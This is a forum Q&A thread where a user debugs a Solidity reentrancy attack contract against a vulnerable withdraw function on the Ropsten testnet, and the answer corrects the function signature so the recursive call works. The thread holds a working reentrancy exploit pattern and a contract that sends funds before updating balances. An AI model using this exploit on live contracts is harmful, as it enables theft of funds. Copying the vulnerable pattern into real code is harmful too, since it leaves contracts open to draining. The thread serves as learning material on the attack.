1

Trying to simulate the attack.

In my attack contract:

  function attack() public {
    target.call(bytes4(keccak256("withdraw()")),amount);
  }


  function() payable public {
    if (msg.sender == target) {
        attack();
        }
  }

Target vulnerable contract:

function withdraw(uint256 _value) payable returns (bool success) {
        if (balances[msg.sender] < _value) return false;
        msg.sender.call.value(_value)();
        balances[msg.sender] -= _value;
        total -= _value;
        return true;
    }

When I call the first attack function, the transaction gets an error in it.

How do I debug this?

I see a Revert in the stacktrace.

I did verify there is a balance for the smart contract equal to the amount I'm attempting to withdraw ( 100000000000000 )

enter image description here

https://ropsten.etherscan.io/tx/0xdf3821e85520549684c121e0786bad1a6b26de00c7a2c659a042d634196a7bba

Although one or more errors occured [Reverted] contract execution completed

  • Pass higher gas as for recursive call, the gas will be used. – Ganeshdip Jul 30 '18 at 3:48
3

In your code, the line:

target.call(bytes4(keccak256("withdraw()")),amount);

Should be:

target.call(bytes4(keccak256("withdraw(uint256)")),amount);

Hope this helps you.

  • Ah, so specify types inside the parens and values outside. Thank you. – quantumpotato Aug 2 '18 at 0:13

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.